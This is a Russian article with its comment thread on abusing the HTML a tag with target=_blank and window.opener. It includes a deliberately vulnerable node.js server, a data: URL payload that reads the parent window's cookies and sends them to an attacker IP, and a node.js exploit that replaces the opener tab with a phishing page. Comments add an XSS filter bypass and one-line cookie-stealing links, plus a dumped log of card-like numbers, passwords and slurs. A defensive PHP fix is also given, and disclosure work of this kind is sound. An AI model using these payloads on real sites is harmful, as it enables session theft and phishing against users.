Атакуем через HTML тег а

    Тег a — это не только ценный мех, но и инициализация window.opener.
    В этой статье вас ждет рассказ об одной особенности данного тега и способы решения проблемы.



    Вступление



    Всё это началось меньше года назад. Я заметил (узнал), что открытие гиперссылки в новом окне инициализирует JavaScript’овский window.opener.

    Для справки: window.opener дает доступ к родительскому окну (к фрейму-родителю), т.е к окну, в котором вызвали window.open().

    Разумеется, я сразу начал гуглить, но ничего вразумительного не нашел. Всё бы ничего, но если бы не одно «НО»:
    Window.opener инициализируется, даже если домены и/или IP-адреса разные.

    На днях разбираю почту и вижу, что получил сообщение от команды Яндекса:



    Сообщение о баге, точнее о теоретическом применении атаки через window.opener( далее w.o), было оставлено мной около месяца назад, я уже и не надеялся на ответ.
    Но мир – странная штука, не так ли? :)

    Часть 1



    От теории к делу!


    Предположим, что мы имеем страницу, в которую можем встроить гиперссылку.
    Напишем код, позволяющий воспроизвести нам данную уязвимость.

    //Код №1
    /*Автор кода просит прощения за все баги, связанные  с ним. Код написан под node.js */
    var http = require('http');
    http.createServer(function (rq, rs) {
    var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //при каждом новом запросе, значение куки будет разным
      rs.writeHead(200, {'Content-Type': 'text/html',
                         'Set-Cookie': cookie});
      if(!require('url').parse(rq.url).query){ // проверим на наличие входных данных
      rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)');
    console.log('[DEBUG] URL: '+rq.url+' is not valid!'); // немножко дебага
      console.log('Achtung!');
      process.kill(process.pid); //чтобы наверняка :)
      }
      var host=require('url').parse(rq.url, true).query.host, //парсим
      host=host.replace(/ /g,'%20'),//Решим проблему с обрезанием пробела
      host=host.replace(/</g,'&'+'lt;'), //antiXSS
      host=host.replace(/>/g,'&'+'gt;'), //antiXSS
      host=host.replace(/javascript:/g,''); //antiXSS
      console.log('URL: '+host); //Вывод ссылки в консоль
      rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //"безопасный" вывод
    }).listen(8080);  //запустим сервер на 8080 порту 
    


    В данном коде специально пропущена фильтрация протокола data. Через специально сформированную ссылку, и по средствам w.o, мы сможем выполнить XSS атаку.
    Для тестов я взял «большую тройку» браузеров: Opera/12.12, FireFox/18.00, Chrome/23.0.1271.97.

    FireFox


    Итак, передадим в атрибут href, тега a, значение «data:,1»:



    После нажатия на гиперссылку видим, что w.o инициализирован:



    А это значит, что, возможно, мы имеем возможность получить полный доступ к родительскому окну.
    Остается только убедиться в этом.



    Используя w.o, мы успешно получили доступ к кукам родительского окна, но вот почему document.cookie=window.opener.document.cookie я не знаю, честно. Замечу, что данная особенность характерна только для FF.

    Проверил на VM с XP SP3 и FF 17, такая же картина:



    Остается только написать exploit, который будет использовать тег «а», протокол data и w.o, для кражи кук(да и вообще чего угодно).

    Payload:

    var snif=new Image(), //инициализируем картинку
    ck=window.opener.document.cookie, //получаем куки из родительского окна
    concat = function() { return Array.prototype.slice.call(arguments).join("")};//объединяем строки без использования знака +, так как знак плюс при GET запросе равносилен пробелу, что приведет к ошибочному синтаксису JavaScript
    snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //отсылаем куки (192.168.1.4-локальный IP виртуальной машины)
    


    Передаем это в переменную host(используя протокол data, а именно: data:text/html, ).Нажимаем на ссылку и любуемся куками:


    А это окно, в которое внедрили наш код:



    Как видите, мы успешно смогли украсть куки.

    Opera


    С браузером Opera почти так же, как и с FireFox. Так что шаги будут те же.

    Проверим, инициализируется ли w.o:



    Проверим, можем ли мы прочитать куки:



    Видим, что мы успешно смогли прочитать куки из предыдущей вкладки(родительского окна).
    Остается только эксплуатировать данную уязвимость. Код payload’а будем использовать такой же, как и для FF.

    Передаем в переменную host наш exploit и опять любуемся куками:



    Окно со ссылкой:



    Итак, мы смогли успешно украсть куки. Довольно печальная ситуация, но ведь еще остался Google Chrome.

    Chrome


    Проверим наличие доступа к w.o:



    W.o инициализирован, но Хром не дает нам получить доступ к данным окна-родителя:



    Теперь самое время посмотреть на эту уязвимость под другим углом.
    А что будет, если и протокол data фильтруется?
    Добавим в наш код четвертую фильтрацию, фильтрацию протокола data.

    Код примет вид:

    /*…*/
      host=host.replace(/</g,'&'+'lt;'), //antiXSS
      host=host.replace(/>/g,'&'+'gt;'), //antiXSS
      host=host.replace(/javascript:/g,''), //antiXSS
      host=host.replace(/data:/g,''); //Data не пройдет!
    /*…*/
    


    Внеся эту поправку в код, мы больше не сможем провести XSS атаку, но ввести пользователя в заблуждение, переопределив w.o, мы способны.

    Часть 2



    Теперь передадим, в переменную host, ссылку на сайт evil.com.

    FireFox




    В FF 18 w.o успешно инициализируется, но мы не имеем возможности проникнуть в предыдущий фрейм(вкладку), так как домены различны и политика безопасности нам это не позволяет.

    Opera




    Ситуация с этим браузером аналогична ситуации с FireFox.

    Chrome




    В Хроме доступ к w.o имеется, но политика безопасности режет наши права до минимума.



    Атакуем!



    FireFox




    Переопределение:



    Opera




    Переопределяем w.o:



    Chrome





    Переопределяем:



    Пишем exploit



    Ну а если есть уязвимость, то должен быть и exploit :)

    var http = require('http');
     if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)}
     http.createServer(function (rq, rs) {
     rs.writeHead(200, {'Content-Type': 'text/html'}); //всем добра, всем 200 
     if(!rq.headers.referer){ // если Referer отсутствует
     rs.end('');
     console.log('Referer is undefined!');
     process.exit(1);
     }
     var host=require('url').parse(rq.headers.referer).hostname; // Извлекаем домен из Referer'а
     var out="<html><script>"+
     "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //переопределяем страницу на поддельную
     "window.close()"+    //закрываем окно 
     "</script></html>";
     rs.end(out); //осуществляем подмену
     console.log('Window.opener changed!');
     process.exit(1);
    
     }).listen(80) // Запускаемся на 80 порту
    


    Этот простенький код позволяет нам подменить сайт во вкладке-родителе.
    Оговорюсь, что перенаправление будет идти на адрес: site:port/referer.html. Где «referer» — значение вида site.*
    Ввиду того, что снять скриншоты будет проблематично, я записал видео:

    http://www.youtube.com/watch?v=Q09GA9oOEs8

    Защита



    Хорошо, мы рассмотрели примеры нападения, но как же защититься?
    Тут есть два способа решения: либо принудительно изменять значение атрибута target, тега а, на “_self”, либо танцевать с бубном, но открывать ссылку в новом окне.Угадайте, каким способом мы пойдем?

    Фикс довольно прост: присвоение window.opener значения null.
    Напишем простой php код, позволяющий переопределить w.o на null и выполнить переадресацию на указанный ресурс.

    <?php
    $url=str_replace('data:','',$_GET['href']); //удалим "data:"
    $url=htmlspecialchars(str_replace('javascript:','',$url)); //защитимся от XSS 
    if(!$url){die();};
    echo "<html>";
    echo "<body>";
    echo "<script>";
    echo "window.opener=null;"; //переопределяем w.o на null
    echo "document.location='".$url."';"; //выполняем перенаправление 
    echo "</script>";
    echo "</body>";
    echo "</html>";
    ?>
    


    Нам остается только применить фикс в нашем коде(1).
    Предположим, что наш php файл храниться по адресу: site.com/file.php
    Тогда наш код(1) примет вид:

    /**/
    rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>');
    /**/
    


    А вот и результат нашего «шаманства»:



    Да, это неудобный способ, но только такое решение проблемы я могу предложить на данный момент.
    Если у вас есть идеи, то, пожалуйста, оставляйте их в своих комментариях.

    Злоключение



    Среди ресурсов, уязвимых к данной атаке, я могу выделить
    Гугл:








    Рамблер:








    Список можно продолжать до бесконечности.

    И конечно, данная информация представлена только для ознакомления.
    Вы не имеете права использовать ее для атак, иначе вас покарает УК РФ!
    Have a nice day!

    UPD: Разбираемся с window.opener в IE 9( простите, только он оказался под рукой)
    С IE 9 творится что-то эдакое…
    К примеру, в нем нет протокола data, вообще.



    Следовательно, будем пытаться переопределить w.o.

    Кликаем на ссылку и видим, что w.o успешно инициализирован:



    Пытаемся переопределить w.o:



    Ничего, ноль эмоций.
    Но если открыть предыдущую вкладку, то:



    Видим, что IE опознает смену как открытие нового окна и выдает предупреждение.

    И даже это еще не всё!

    Разрешим всплывающее окно:



    Повторно попробуем сменить location:



    Подмена window.opener не просто не произошла, а вообще открылось новое окно.

    UPD2: Youtube заблокировал видео
    Share post

    Comments 149

      +18
      Это моя вторая статья, поправки и замечания приветствуются! :)
        +41
        Ёлки-палки зелёные моталки o_O…
          +3
          именно
          +4
          Вы разработчикам браузеров, об уязвимости то сообщили?
            +2
            Пока нет, я просто не мог им на пальцах объяснить, как это работает. Страшно то, что уязвима любая ссылка, если атрибуту target присвоено значение _blank.
            Ушел писать багрепорты.
              +1
              Ну, на мой взгляд первое хоть и баг, но скорее неприятный, чем страшный — data: если его не фильтровать и так может много чего наделать. А про второе разработчики вероятно в курсе (скажем вот пост одного из оперных: my.opera.com/hallvors/blog/2007/03/14/window-opener-and-security-an-unfixable-problem ) и дело в совместимости.
                +1
                > Ушел писать багрепорты.
                Как напишите, выложите ссылки.
              +41
              Гугд дает хорошие деньги за нахождение уязвимости в Chrome! Автор! Есть шанс хорошо заработать!
                +1
                Т.к. релиз выложил уже не заработает.
                  0
                  может автор быстренько перенесет все в черновики :D вдруг никто из гугла не увидел топовый топик :D
                –5
                Ну все, теперь на файлообменники ни ногой. Я попросил бы спрятать.наверное, руководство для школьников(.
                А то и вовсе убрать статью пока(
                  +33
                  Внести «поправки» в код?
                  Кстати, я тоже школьник :)
                    –6
                    Я не чуть не сомневаюсь в нашем подрастающем поколении. Даже чувствовалась в статье некая легкомысленность. Нельзя, помоему, такие вещи выносить до патчей в браузерах. Ну это как со скайпом, только там по другому понять не хотели.
                      +1
                      Вы поймите: я написал об этом только для того, что бы на это обратили внимание и как можно скорее поправили эту «оплошность».
                      +5
                      Мой брат в 14 лет нашел уязвимость в Firefox и написал багрепорт. В ответ спросили на какой счет перевести $3000
                    +14
                    Удивляет то, что столько лет на это никто не обращал внимания.
                      +6
                      Я даже не думаю, что ЭТО кто-нибудь мог себе представить.
                        +5
                        Это представляли себе как минимум те, кто писал соответствующий стандарт.
                          +2
                          Есть рекламные сети, которые пользуются такой уязвимостью (черные) и довольно давно. Правда, они ничего не воруют, обычно, только страницу, с которой перешли подменяют другой.
                        +13
                        Пользуясь случаем, порекомендую расширение NoBlank, которое заменяет _blank на _self у нажимаемых ссылок.
                          0
                          А вот за это +, в данном случае, очень нужная вещь!
                          NoScript тоже поможет.
                            +2
                            А надо ли расширение?
                            opera:config#UserPrefs|IgnoreTarget
                              –1
                              Надо. Не у всех опера.
                                +8
                                Расширение для Оперы.
                                  +1
                                  Код, кстати, простейший и теоретически работает везде.

                                  userjs
                                  0
                                  Когда эта настройка только появилась, она у меня где-то глючила (возможно, на window.open() ссылках в яндекс-почте, но уже не помню). Поэтому продолжил пользоваться юзерцсс, а потом и расширением.
                                +18
                                Простите уж, но не нашел тут уязвимости.
                                Увидел два кейса:
                                1) Через href=«data:anything» можно исполнять JS на странице.
                                Да, ок, можно, но его так-же можно исполнять через «javascript:» и еще массой способов.
                                То что у вас получилось — это описание использования обычной XSS, с небольшими условиями по фильтрации.
                                2) window.opener.location можно переопределять.
                                Да, можно, но это боян который сеошники используют уже лет 5, насколько мне известно. Кликаешь на страничку в результатах поиска и window.opener.location меняется на порнуху.
                                  +3
                                  Кстати, та-же самая «уязвимость» под номером 2 возможна, например, при выполнении кода внутри IFRAME: window.parent.location = «bla»
                                    0
                                    Чем воспользовался сайт с взломом капчи, перенаправив юзеров контакта на порнуху :-)
                                    +1
                                    Вроде как речь больше о том, что можно красть куки из соседних вкладок (что работает в FF/Opera и не работает в хроме).
                                      +1
                                      Ну да, можно красть куки, при условии XSS(или если проще, какого бы то нибыло внедрения кода) на уязвимой странице(вкладке).
                                      Речь о том, что если можно на странице вообще впринципе сгенерить ссылку произвольного вида data/javascript/gopher/magnet/foo:anything — то это обычная XSS уязвимость, не более.
                                        –1
                                        Красть куку в Opera/FF можно просто вставив ссылку с target="_blank". На странице назначения все куки родителя доступны в window.opener.document.cookie
                                          +5
                                          Вы сами то это пробовали сделать? :)
                                          image
                                          Да и автор пишет, что: так как домены различны и политика безопасности нам это не позволяет.
                                            +6
                                            При условии, что в href подали протокол data.
                                            У меня тут вопрос к invented, вы много встречали страниц где «javascript:» свободно пускают? Я вот нет.
                                            А вот window.opener позволяет нам расширить возможности XSS. По работе, я встречал кучу сайтов, где был идеальный парсер, но вот теги a и протокол data пропускались. Я репортил, а мне говорили, мол:«Не баг. Укради куки.»
                                            Используя window.opener я это успешно делал и наблюдал, как их улыбки быстро «исчезали» :)
                                            Да и подмена window.opener.location, при разных доменах, тоже вещь не особо приятная. Я показал это на примере Вконтакте.
                                        +1
                                        > 1) Через href=«data:anything» можно исполнять JS на странице.

                                        Можно получить доступ с страницы созданной через data: к основной. Это всё-таки нарушение sop.
                                        +2
                                          0
                                          Как раз гуглил этот линк, спасибо тебе.
                                            0
                                            Они получают доступ так:x=open('http://hackademix.net/')
                                            Я же, через тег а.
                                            Согласитесь, разные вещи.
                                            Всё в ваш «javascript:» упирается.
                                            А если он фильтруется, а?
                                            Ничего :)
                                            +3
                                            Http Only Cookie — спасут от увода кук, а вот от подмены страницы пока, конечно, неизвестно.
                                              +1
                                              К сожалению, до сих пор очень много разработчиков понятия не имеют о флаге HttpOnly, CSRF-токенах и других уже, фактически, базовых методах защиты (да что там говорить — куча веб-сайтов после регистрации присылает пароль в открытом виде по почте). Рекомендую им почитать, например, вот эту блогозапись (включая комментарии).
                                                0
                                                согласен, многие веб разрабы вообще при слове CSRF офигевают
                                                  0
                                                  Я даже могу сейчас сюда подкинуть CSRF на Вконтакте и Facebook :)
                                                  Их просто НЕ ФИКСЯТ, хотя репорты есть.
                                                    0
                                                    на вконтакте — оставь себе, у них баунти нет :)
                                                    а на фейсбук кидай незарепорченные мне в личку, дам 100 баксов! или даже двести! пару К можно выбить
                                                      0
                                                      Боюсь, что нам не по пути.
                                                      Whitehat, такой whitehat…
                                                        +1
                                                        я про facebook bounty они платят больше чем можно заработать на самой CSRF
                                                          0
                                                          Это да, но если бы они еще и отвечали на багрепорты. На мой они молчат. Уязвимость жива, уже месяца 3 как.
                                                            0
                                                            неудивительно. у меня многим друзьям не отвечали. но у меня там был знакомый интервьюер и он пролоббировал мой баг и баги моих друзей
                                                              0
                                                              Тогда я просто не понимаю: зачем им такие программы, если они не работают.
                                                                0
                                                                не работают? в мире все относительно, вот YandexBugBounty да, не работает habrahabr.ru/post/163039/
                                                                а fb bounty по сравнению цветет и пахнет — погуглите сколько получателей баунти. средний чек 2-3к баксов.
                                                                  +1
                                                                  Работают, думаю тот же Chikey подтвердит :)
                                                                0
                                                                Тогда публикуйте!
                                                                  0
                                                                  Хм… буду делать новый багрепорт :)
                                                  +3
                                                  Кстати, Opera mini неуязвима. Там вообще нет window.opener!
                                                    0
                                                    А почему не рассматривается IE?
                                                      0
                                                      При клике на подобную ссылку в IE, окно открывается не в новой вкладке, а в новом окне(ie, такой ie). Так window.opener не инициализируется.
                                                      А вот если кликнуть правой кнопкой мышки по ссылке и нажать на «открыть в новой вкладке» window.opener будет инициализирован.
                                                        0
                                                        Все хорошо, но нужно такие немаловажные факты писать в статье, а не в комментариях
                                                          0
                                                          Простите, я соврал вам об IE. Скоро обновлю пост.
                                                            +1
                                                            Боюсь вы не правы. Протокол data в IE9 есть. Просто он доступен только из некоторых мест. Например в теге img
                                                        0
                                                        invented, для вас, специально.

                                                        1) Вот поведение вашего «javascript:», когда target="_blank"




                                                        2) А вот проводим XSS по средствам window.opener.


                                                        Еще вопросы?)
                                                          –3
                                                          Хорошо, согласен.
                                                          Следующий шаг: Вставь линк с «data:» куда-нибудь в гугл :)
                                                          image
                                                            0
                                                            Благодаря вашему комменту я сильно испугался, открыв страницу, т.к. увидел окно http-авторизации
                                                              0
                                                              А вы что, хотите сразу Гугл ломать?)
                                                              Перейдите на любой сайт, через Гугл, и балуйтесь c window.opener.location
                                                                +1
                                                                Ваша «картинка» неуместна.
                                                                  –2
                                                                  Да ладно, боянить так боянить. Новый год ж.
                                                                    0
                                                                    Ну я мог и ссылку с data вам подкинуть.
                                                                    Если судить вашей логике :)
                                                                      0
                                                                      Так попробуйте наконец :) желательно с гуглом, ну или на худой конец с Яндексом
                                                                        +1
                                                                        1. Первую картинку видели?
                                                                        и
                                                                        2. Я не гажу, а вот ваше окошечко не говорит о вас хорошо.

                                                                        Только у меня Chrome и у меня окошечка то и нет.
                                                                          +1
                                                                          Готов перейти по любой сгенеренной вами ссылке, что украдёт у меня авторизационные куки Яндекса или Гугла. С использованием data: естесно.
                                                                            0
                                                                            Там у кук ОЧЕНЬ крутая защита. Всё, что сможет XSS, дак это выполнить почти любое произвольное действие с вашим аккаунтом.
                                                                              +2
                                                                              Знаю) Готов на демонстрацию хоть простого алерта :)
                                                                                0
                                                                                Неистово требую порции и мне!
                                                                                  +2
                                                                                  За 1000$ согласен :)
                                                                                  +1
                                                                                  > ОЧЕНЬ
                                                                                  флаг HTTPONLYHTTPONLY?
                                                                                    –2
                                                                                    На моей памяти, он обходится использованием TRACE метода.
                                                                                    Разве нет?
                                                                                      0
                                                                                      лол, БЫЛА уязвимость обходом через TRACE и еще в java плагине. но это была уязвимость и их давно закрыли
                                                                                        –2
                                                                                        А если найти новый способ?
                                                                                        Challenge, а? :)
                                                                                          0
                                                                                          а ты уже нашел? жду поста ) если еще нет — удачи в поисках
                                                                                            0
                                                                                            Вызов принят :)
                                                                                              +7
                                                                                              Ох уж эта звездная слава.
                                                                      0
                                                                      Вот, кстати, не могу понять, почему и зачем Опера в последних версиях перестала молча игнорировать такие картинки.
                                                                        0
                                                                        потому что они на вебкит перешли? точней на новый движок гугла. Или еще не перешли?
                                                                • UFO just landed and posted this here
                                                                  –9
                                                                  Автор, Вы уже подали заявку на вакансию в Google?
                                                                    +1
                                                                    Какой Гугл? Мне и спасибо то никто не сказал.
                                                                    Уж простите, но тут работает фраза: «Это не баг, а фича»
                                                                      0
                                                                      А в google писать насчет бага и попробовать сорвать куш уже пробовали?
                                                                      code.google.com/p/chromium/issues/list
                                                                        0
                                                                        Нет, это одна «большая уязвимость».
                                                                        Ну не такая уж и большая, что бы быть уязвимостью :)
                                                                        Просто доступ к предыдущему окну на полных правах != хорошая безопасность.
                                                                    +2
                                                                    Пробую на 2х сайтах, в одном вставляю ссылку с _blank на другой, а на том alert(window.opener.document.cookie);

                                                                    В Opera 12.12, FF 17.0.1 одинаковые ошибки типа Error: Permission denied to access property 'document'

                                                                    ЧЯДНТ?
                                                                      –1
                                                                      УК РФ, а?
                                                                      на 2х сайтах

                                                                      Вы не сможете получить доступ к кукам, если выполняете js код не через протокол data.
                                                                      Пробуйте window.opener.document.location=«www.googleforidiots.com/»
                                                                        0
                                                                        На 2х своих сайтах это не УК РФ. Пробую реально там, где юзеры вставляют ссылки. Т.е. без экзотической data ничего не выйдет?

                                                                        На таргете прямо в скрипте

                                                                        window.opener.location='http://google.com';
                                                                        alert(window.opener.document.cookie);

                                                                        NS_ERROR_DOM_PROP_ACCESS_DENIED: Access to property denied
                                                                          0
                                                                          alert(window.opener.document.cookie);

                                                                          ?
                                                                          ВЫ ПЫТАЕТЕСЬ получить куки гугла.
                                                                          А вам нужно внедрить тег а, находясь на домене google.com, а в href прописать ссылку и через протокол data выполнить XSS атаку.
                                                                          Всё, замолчу, подсказывать — не хорошо.
                                                                            0
                                                                            ок ) значит, о тех сайтах волноваться не буду

                                                                            З.ы. приравнял Opener 1му домену — та же ошибка, хз ;)
                                                                              +1
                                                                              >А вам нужно внедрить тег а, находясь на домене google.com, а в href прописать ссылку и через протокол data выполнить XSS атаку.

                                                                              это не xss атака + с тем же успехом можно написать «Вам надо найти XSS дырку чтобы выполнить атаку. Ищите, я не нашол»
                                                                                –2
                                                                                нашол

                                                                                А я нашЕл :)
                                                                                Нет, серьезно.
                                                                                Я находил XSS у Гугла.
                                                                                  +1
                                                                                  на каком domain, уже исправлено?
                                                                                    –1
                                                                                    Конечно.
                                                                        +2
                                                                        эх я думал тут серьезный баг по типу глазунова или пинкипая…
                                                                        вообще javascript: не фильтруют. есть понятие whitelist и нормальные разработчики просто пропускают /https?://… а не делают костыли
                                                                        НО то что ФФ позволяет через новый открытый data: выполнять код в ориджине — это конечно давний фейл и я +1 чтобы это исправили ибо бред.
                                                                        откроешь много нового тут =) html5sec.org/
                                                                          +2
                                                                          image
                                                                          Весело у вас тут :D
                                                                          Safari отжигает
                                                                            +1
                                                                            Хром молчит.
                                                                            Ну это не очень весело, если уж по-хорошему.
                                                                              +4
                                                                              Много лулзов :)
                                                                              Лог этого окошка за два часа(ссылку похерил, да):

                                                                              @?>@? ?@>@?>
                                                                              000xren000 vam
                                                                              0<?php exit; ?> 1
                                                                              1 0
                                                                              1 1
                                                                              11 11
                                                                              111 11
                                                                              111 111
                                                                              1111222233334444 5555
                                                                              1 2
                                                                              123 123
                                                                              123123123 123123
                                                                              123 213
                                                                              123 321
                                                                              123 423
                                                                              123 45
                                                                              12345 12345
                                                                              123455642234577876656 cvv2
                                                                              123456 1234
                                                                              1234567890 1234567890
                                                                              12345 cvv2
                                                                              1234 fds
                                                                              123 A<<2
                                                                              123 cvv2
                                                                              1254123612379542 1234
                                                                              12 qw
                                                                              1344177856736543 1254
                                                                              146741467414674 343
                                                                              1 cvv2
                                                                              20AO ?C?:8=
                                                                              2113 123123
                                                                              2222333344449999 178
                                                                              324091421234 423
                                                                              3543535343 345345
                                                                              4222054974838563 111
                                                                              4322567800017945 987
                                                                              433354354 5454
                                                                              4345100006450834 254
                                                                              4378489022124789 037
                                                                              4688666655432348 354
                                                                              4764 7524 3615 6542 456159753
                                                                              5 
                                                                              554545141489421 3124
                                                                              5 6
                                                                              643563456 345634563456
                                                                              848 =0 EC9 
                                                                              848  =0EC9
                                                                              -96048136q436  cvv2
                                                                              a a
                                                                              aaza 
                                                                              admin admin
                                                                              afiget' afiget'
                                                                              }{akep root
                                                                              alibaba lmfsdznrbuwah4yh2y47q2yu3wiotjioe
                                                                              asd asd
                                                                              asdasd asdasdasd
                                                                              azsx sxdc
                                                                              bfg gfbgfb
                                                                              bsdsdf sfsdfdsf
                                                                              c =>2K< 3>4><!
                                                                              ccc cccc
                                                                              credit card number cvv2
                                                                              йй йй
                                                                               D::D
                                                                              допе cvv2
                                                                              автор соси хуй сочно блять соси!!!!!!!!
                                                                              ddg dgdags
                                                                              парпа апрапр
                                                                              demo demo
                                                                              dfegrg 456
                                                                              dffasf aff
                                                                              dfg dgf
                                                                              dfsdf sdfdsf
                                                                              dfvdfvfdv sdv sds
                                                                              die bitch
                                                                              E@5= B515
                                                                              E BK 6>?0 A @CG >9, 409 8=209B:im-sadya.ru
                                                                              >EC5BL! 09B5 420!
                                                                              EC9?87404683C@40 >;>;>
                                                                               EC9 A>A=CBL =5 E>G5HL? password
                                                                              EC9 B515
                                                                              errereerer erererreer
                                                                              fhvd vjvf
                                                                              fil9 30294327492743219234
                                                                              fuck fuck
                                                                              fuck off
                                                                              fuck off nigger fuck off nigger
                                                                              fuck _u 
                                                                              fuck you
                                                                              Fuck You
                                                                              fuck you lold:0
                                                                              gkh ghk
                                                                              good joke:)
                                                                              HAPPY NEW YEAR
                                                                              hehehe 123
                                                                              hello LOL
                                                                              h h
                                                                              hhh y7
                                                                              holy shit
                                                                              huipisda hui
                                                                              hyi hyi
                                                                              idi nahui
                                                                              idite naxyi
                                                                              Intruder! fADEAWAY
                                                                              kkk oooo
                                                                              lol 123
                                                                              lol i like habk
                                                                              lol lol
                                                                              lolsda ahahah nice joke
                                                                              Lt.RAT Elmekia111
                                                                              Nicola Tesla tunguska
                                                                              ñîñè øêîëüèíê
                                                                              no card :(
                                                                              nu da? pohui
                                                                              number cvv2 
                                                                              okidinahui pidaras
                                                                              oldtricks arealwaysnice!
                                                                              >;>;> olololo
                                                                              Poshel Na_Hui
                                                                              privet habr
                                                                              q11 q11
                                                                              qqqqq qqq11
                                                                              qwe 123
                                                                              qwe qwe
                                                                              re fxc
                                                                              rr ee
                                                                              sdf asd
                                                                              sd sd
                                                                              shkoJIbHer atake
                                                                              SOSAI PLS 
                                                                              sosi_hui_admin FUCK_FUCK_TWICE
                                                                              srv rfrekz
                                                                              Suck cock
                                                                              suck_yourself xa-xa-xa
                                                                              test 
                                                                              tst test
                                                                              vakhmurka Qw766346zx
                                                                              VASIAPUPKIN HUYEVVAMVNOVIYGOD
                                                                              VasilyiAlibabaevich Pupkin
                                                                              very good
                                                                              w d
                                                                              werfwte awert4h65u6
                                                                              WTF Well done
                                                                              x172772 netort99
                                                                              xyu cocqtb>
                                                                              
                                                                                +6
                                                                                4345100006450834 254
                                                                                4378489022124789 037
                                                                                4688666655432348 354
                                                                                Тролль 90 лвл :D
                                                                                  0
                                                                                  пентестеры смотрю тоже есть.
                                                                                +7
                                                                                Шикарно.

                                                                                P.S. Если у нас есть такие школьники, значит не все так плохо как рисуют.
                                                                                  +11
                                                                                  Уязвимость не в браузерах, а в сайтах.
                                                                                  Если есть возможность вставить ссылку на сайт, который не проверяет атрибут href, то можно без проблем сделать, например, так:
                                                                                  <a href="javascript:alert('Hello, world!')">Link</a>

                                                                                  На счет того, что у вас в коде представлен метод борьбы с javascript`ом в ссылке:
                                                                                  host=host.replace(/javascript:/g,''); //antiXSS

                                                                                  Так можно сделать, например, так:
                                                                                  <a href="javajavascript:script:alert('Hello, world!');"></a>

                                                                                  Тогда будет вырезана эта часть: "javajavascript:script:alert('Hello, world!');", останется только "javascript:alert('Hello, world!');
                                                                                    0
                                                                                    +1, нормальный разраб вообще другим путем пойдет. будет фильтровать и протоколы и слэши чтобы не прошло
                                                                                    javascript://%3F…
                                                                                      –5
                                                                                      Да я и не пытался написать фильтр входных данных, я писал так, что бы не показаться «дураком».
                                                                                      Но обход фильтрации неплох)
                                                                                      Посмотрите скриншоты выше, ваш «javascript:» работает только если target="_self", а он таков по умолчанию.
                                                                                      Но если target="_blank" и, уж так и быть, «javascript:» не фильтруется, то для того, чтобы провести XSS атаку, нужно делать так:«javascript:window.opener.alert('XSS')»
                                                                                        0
                                                                                        host=host.replace(/javascript:/g,''); //antiXSS


                                                                                        Помнится, я когда-то делал в таком случае $text = preg_replace('/javascript:/', 'жабаскрипт:', $text);
                                                                                        ;)
                                                                                        0
                                                                                        А можно ссылочки «на пощупать»?
                                                                                        Как это у себя-то проверить?
                                                                                          +3
                                                                                          Возможность кражи куков:
                                                                                          1) jsfiddle.net/WCmBm/

                                                                                          Подмена адреса родительского окна:
                                                                                          2) Открываете любую ссылку в новом окне (target="_blank"), в открывшимся окне в js-консоли пишете window.opener.location.replace('новый_урл')
                                                                                            0
                                                                                            Что-то не работает… FF 17.0.1 под арчиком.
                                                                                              0
                                                                                              Только что проверил под Win7, в последней Опере (12.12) и ФФ (17.01) работает.
                                                                                              В хроме и ИЕ9 не пашет (по причинам описанным в статье).
                                                                                                0
                                                                                                Так оно что: только в венде работает?
                                                                                          0
                                                                                          Красивая бага. А что за протокол data, откуда он вообще взялся?
                                                                                            0
                                                                                            А, понял, специально зарезервированный протокол «data:» для вставки html-данных inline, в одну строчку, так сказать.
                                                                                              +2
                                                                                              Вики, но особенностью данного протокола является то, что вручную можно задать MIME-type.
                                                                                            –3
                                                                                            гм… а как же файервол?
                                                                                              +1
                                                                                              а когда он останавливал XSS? :D
                                                                                                +1
                                                                                                Ну, может быть, он имел в виду, например, плагин Whitetrash для Squid (ну, а перенаправлять весь HTTP-трафик на прокси-сервер можно достаточно легко с помощью iptables).

                                                                                                Кстати, вот довольно неплохой PDF-документ от Агентства национальной безопасности США с описанием техник защиты от XSS (как раз там, в частноти, Whitetrash и упоминается).
                                                                                                  0
                                                                                                  Спасибо за объяснение
                                                                                                    0
                                                                                                    но как же https?
                                                                                                    0
                                                                                                    XSS может и не останавливал, а переход по нежелательной ссылке обрубал, распознавал скрипты по краже кук и пр. Отсюда и был вопрос, такую атаку отобьет или не заметит?! // noob
                                                                                                  +1
                                                                                                  А если использовать location.replace(), то пользователь ещё и не сможет вернуться назад на ту страницу, где он был:

                                                                                                  window.opener.location.replace("http://google.ru/")
                                                                                                  
                                                                                                    +3
                                                                                                    Идеально для бизнеса порно-банеров!
                                                                                                      +1
                                                                                                      сможет, просто нажать кнопку назад. проверил в хроме
                                                                                                    0
                                                                                                    А нет сайта, на котором можно было бы быстро проверить уязвимость?
                                                                                                      0
                                                                                                      google.com, ищем что-нибудь, переходим по ссылке, в открывшемся окне в консоли пишем
                                                                                                      window.opener.location.replace("http://ya.ru/")
                                                                                                      
                                                                                                        0
                                                                                                        Firefox 17 пишет
                                                                                                        TypeError: window.opener is null
                                                                                                          0
                                                                                                          в хроме пишет undef. но при этом вкладку с гуглом заменяет яндексом
                                                                                                            0
                                                                                                            Просто функция replace возвращает undefined
                                                                                                              0
                                                                                                              Не знал, спасибо!
                                                                                                                0
                                                                                                                а что с firefox?
                                                                                                                я что-то тоже не могу воспроизвести ошибку по str, предложенном quantum:
                                                                                                                >TypeError: window.opener is null

                                                                                                                что-то не так в STR или в настройка firefox?
                                                                                                                  0
                                                                                                                  Хм… а вручную заменять location пробовали? window.opener.location=""
                                                                                                                    0
                                                                                                                    пробовал :)
                                                                                                                    результат предыдущий. я даже прочитать (вывести) его не могу
                                                                                                                    что-то с настройками/плагинами?
                                                                                                        +11
                                                                                                        Cтолько слов, что в этом многословии потерялся смысл. Кратко продемонстрировать опасность можно 2 строчками:

                                                                                                        1. Если сможем вставить такую ссылку на сторонний сайт — сможем получить кукисы:

                                                                                                        <a target="_blank" href="data:text/html, <script>alert(window.opener.document.cookie)</script>">test</a>
                                                                                                        


                                                                                                        Работает в FF и Opera.

